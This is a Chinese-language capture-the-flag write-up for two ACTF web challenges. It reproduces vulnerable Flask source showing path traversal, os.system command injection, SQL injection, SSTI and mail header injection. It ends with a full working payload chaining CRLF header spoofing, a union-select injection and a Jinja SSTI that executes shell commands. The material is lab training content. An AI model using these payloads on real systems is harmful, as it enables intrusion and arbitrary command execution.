下午打取证晚上打ACTF就牢了一题就牢不动了，其他题看来一下有两题是有思路的但是队友打了我也就没打了

upload

随便输都可以登陆成功，然后上传文件后发现了文件读取./upload?file_path

可以目录穿越

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import uuid
import os
import hashlib
import base64
from flask import Flask, request, redirect, url_for, flash, session

app = Flask(__name__)
app.secret_key = os.getenv('SECRET_KEY')

@app.route('/')
def index():
    if session.get('username'):
        return redirect(url_for('upload'))
    else:
        return redirect(url_for('login'))

@app.route('/login', methods=['POST', 'GET'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        if username == 'admin':
            if hashlib.sha256(password.encode()).hexdigest() == '32783cef30bc23d9549623aa48aa8556346d78bd3ca604f277d63d6e573e8ce0':
                session['username'] = username
                return redirect(url_for('index'))
            else:
                flash('Invalid password')
        else:
            session['username'] = username
            return redirect(url_for('index'))
    else:
        return '''
        <h1>Login</h1>
        <h2>No need to register.</h2>
        <form action="/login" method="post">
            <label for="username">Username:</label>
            <input type="text" id="username" name="username" required>
            <br>
            <label for="password">Password:</label>
            <input type="password" id="password" name="password" required>
            <br>
            <input type="submit" value="Login">
        </form>
        '''

@app.route('/upload', methods=['POST', 'GET'])
def upload():
    if not session.get('username'):
        return redirect(url_for('login'))
    
    if request.method == 'POST':
        f = request.files['file']
        file_path = str(uuid.uuid4()) + '_' + f.filename
        f.save('./uploads/' + file_path)
        return redirect(f'/upload?file_path={file_path}')
    
    else:
        if not request.args.get('file_path'):
            return '''
            <h1>Upload Image</h1>
            
            <form action="/upload" method="post" enctype="multipart/form-data">
                <input type="file" name="file">
                <input type="submit" value="Upload">
            </form>
            '''
            
        else:
            file_path = './uploads/' + request.args.get('file_path')
            if session.get('username') != 'admin':
                with open(file_path, 'rb') as f:
                    content = f.read()
                    b64 = base64.b64encode(content)
                    return f'<img src="data:image/png;base64,{b64.decode()}" alt="Uploaded Image">'
            else:
                os.system(f'base64 {file_path} > /tmp/{file_path}.b64')
                # with open(f'/tmp/{file_path}.b64', 'r') as f:
                #     return f'<img src="data:image/png;base64,{f.read()}" alt="Uploaded Image">'
                return 'Sorry, but you are not allowed to view this image.'
                
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

admin的密码是弱口令可以直接在cmd5查出hash对应的文明
登陆admin的账号后就可以进行命令注入了，执行结果会保存到文件里命令执行后读取文件即可，或者直接弹shell

Excellent-Site

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import smtplib
import imaplib
import email
import sqlite3
from urllib.parse import urlparse
import requests
from email.header import decode_header
from flask import *

app = Flask(__name__)

def get_subjects(username, password):
    imap_server = "192.227.128.32"
    imap_port = 143
    try:
        mail = imaplib.IMAP4(imap_server, imap_port)
        mail.login(username, password)
        mail.select("inbox")
        status, messages = mail.search(None, 'FROM "admin@ezmail.org"')
        if status != "OK":
            return ""
        subject = ""
        latest_email = messages[0].split()[-1]
        status, msg_data = mail.fetch(latest_email, "(RFC822)")
        for response_part in msg_data:
            if isinstance(response_part, tuple):
                msg = email.message_from_bytes(response_part  [1])
                subject, encoding = decode_header(msg["Subject"])  [0]
                if isinstance(subject, bytes):
                    subject = subject.decode(encoding if encoding else 'utf-8')
        mail.logout()
        return subject
    except:
        return "ERROR"

def fetch_page_content(url):
    try:
        parsed_url = urlparse(url)
        if parsed_url.scheme != 'http' or parsed_url.hostname != 'ezmail.org':
            return "SSRF Attack!"
        response = requests.get(url)
        if response.status_code == 200:
            return response.text
        else:
            return "ERROR"
    except:
        return "ERROR"

@app.route("/report", methods=["GET", "POST"])
def report():
    message = ""
    if request.method == "POST":
        url = request.form["url"]
        content = request.form["content"]
        smtplib._quote_periods = lambda x: x
        mail_content = """From: ignored@localhost.localdomain\r\nTo: admin@localhost.localdomain\r\nSubject: {url}\r\n\r\n{content}\r\n.\r\n"""
        try:
            server = smtplib.SMTP("192.227.128.32",25)
            mail_content = smtplib._fix_eols(mail_content)
            mail_content = mail_content.format(url=url, content=content)
            server.sendmail("ignored@ezmail.org", "admin@ezmail.org", mail_content)
            message = "Submitted! Now wait till the end of the world."
        except:
            message = "Send FAILED"
    return render_template("report.html", message=message)

@app.route("/bot", methods=["GET"])
def bot():
    requests.get("http://ezmail.org:3000/admin")
    return "The admin is checking your advice(maybe)"

@app.route("/admin", methods=["GET"])
def admin():
    ip = request.remote_addr
    if ip != "127.0.0.1":
        return "Forbidden IP"
    subject = get_subjects("admin", "p@ssword")
    if subject.startswith("http://ezmail.org"):
        page_content = fetch_page_content(subject)
        return render_template_string(f"""
                <h2>Newest Advice(from myself)</h2>
                <div>{page_content}</div>
        """)
    return ""

@app.route("/news", methods=["GET"])
def news():
    news_id = request.args.get("id")

    if not news_id:
        news_id = 1

    conn = sqlite3.connect("news.db")
    cursor = conn.cursor()

    cursor.execute(f"SELECT title FROM news WHERE id = {news_id}")
    result = cursor.fetchone()
    conn.close()

    if not result:
        return "Page not found.", 404
    return result[0]

@app.route("/")
def index():
    return render_template("index.html")

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=3000)

看一下代码其实漏洞点还是比较好找的
一眼就是admin下的ssti

我们不能直接访问ssti，我们只能访问bot来让bot访问一次admin路径，而page_content是subject页面的内容，subject只能为http://ezmail.org开头，而我们在news可以发现一个明显的sql。且参数是url传的，那么我们就可以通过sql注入来控制回显，而我们的这个web服务是http://ezmail.org:3000。

那么现在问题就变成了如何去控制subject

看get_subjects可以发现其是通过获取一个最新的来自FROM “admin@ezmail.org”来字admin的邮件的subject头的内容。而我们可以通过/report来发送邮件给admin，但是可控的只有subject和content

这里我们使用\r\n来分割邮件头从而造成邮件头注入在后面加一个from头从而来伪造邮件的from

然后这个无回显，所以要使用内存马。这里我使用的是404回显
payload如下

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url=http://ezmail.org:3000/news?id=-1+union+select+"{{url_for.__globals__.__builtins__['setattr'](lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.exceptions.NotFound,'description',url_for.__globals__.__builtins__['__import__']('os').popen('cat+/flag').read())}}"%0d%0aFrom:+admin@ezmail.org&content=aaa